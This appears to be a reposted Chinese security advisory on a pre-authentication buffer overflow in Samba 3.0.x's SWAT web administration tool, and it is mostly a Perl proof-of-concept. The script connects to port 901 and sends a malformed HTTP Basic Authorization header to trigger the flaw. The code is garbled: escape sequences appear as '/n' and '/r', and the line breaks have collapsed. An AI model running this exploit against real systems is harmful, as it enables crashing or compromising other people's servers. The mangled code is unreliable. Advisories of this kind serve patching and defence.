Samba 3.x SWAT预验证远程缓冲区溢出漏洞[代码]

作者：xiaoxiao
发表时间：2020-12-23 10:57
来源：未知

受影响系统

Samba 3.0.2 Samba 3.0.3 Samba 3.0.4

详细描述SWAT是Samba Web管理工具。 Samba SWAT服务预验证存在缓冲区溢出问题，远程攻击者可以利用这个漏洞在系统上以SWAT进程权限执行任意指令。问题存在于source/lib/util_str.c文件中的进行HTTP Basic验证的base64_decode_data_blob函数中.测试代码#!/usr/bin/perl# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow# Created by Noam Rathaus of Beyond Security Ltd.#use IO::Socket;use strict;my $host = $ARGV[0];my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "901" );unless ($remote) { die "cannot connect to http daemon on $host" }print "connected/n";$remote->autoflush(1);my $http = "GET / HTTP/1.1/rHost: $host:901/rUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 Firefox/0.9.1/rAccept: text/xml/rAccept-Language: en-us,en;q=0.5/rAccept-Encoding: gzip,deflate/rAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7/rKeep-Alive: 300/rConnection: keep-alive/rAuthorization: Basic =/r/r";print "HTTP: [$http]/n";print $remote $http;sleep(1);print "Sent/n";while (<$remote>){print $_;}print "/n";close $remote;